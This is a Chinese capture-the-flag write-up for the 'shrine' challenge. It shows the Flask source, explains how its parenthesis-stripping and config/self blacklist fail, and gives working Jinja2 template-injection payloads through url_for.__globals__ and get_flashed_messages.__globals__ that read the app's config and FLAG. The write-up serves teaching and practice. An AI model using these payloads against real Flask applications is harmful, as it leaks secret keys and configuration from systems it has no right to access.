zoukankan      html  css  js  c++  java
  • shrine

    shrine

    贴出源代码

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)
    

    代码审计


    " "join(blacklist)会将blacklist数组以" "形式分隔开,返回字符串

    在config中设置了FLAG,我们要做的就是查看config,定义了路由/shrine/<>,并且在safe_jinja函数中对'(',')'进行了过滤,会将其替换为空

    blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    

    这个代码就等价于

    return "{% set config=None%}{% set self=None%}"+s
    

    在jinja2中{% %}是控制语句,这里将config和self变量设置为None,使我们无法通过{{config}}来访问{{config}}变量,进而得到flag

    注入

    构造/shrine/{{2*2}}

    返回 4

    这时的模板就相当于{% set config=None%}{% set self=None%}{{2*2}},自然会存在模板注入

    思路一

    通过url_for函数来访问globals变量,然后再通过globals变量访问current_app,然后再访问config

    /shrine/{{url_for.__globals__["current_app"].config}}

    思路二

    get_flashed_messages,顾名思义,就是获取后面的信息,构造payload

    /shrine/{{get_flashed_messages.__globals__["current_app"].config["FLAG"]}}

  • 相关阅读:
    面向对象 小游戏 打飞机
    面向对象2
    面向对象
    正则 校验邮箱
    正则 过滤敏感字
    Strobogrammatic Number
    Binary Tree Right Side View
    [?]*Closest Binary Search Tree Value II
    *Closest Binary Search Tree Value
    *Inorder Successor in BST
  • 原文地址:https://www.cnblogs.com/NineOne/p/13888993.html
Copyright © 2011-2022 走看看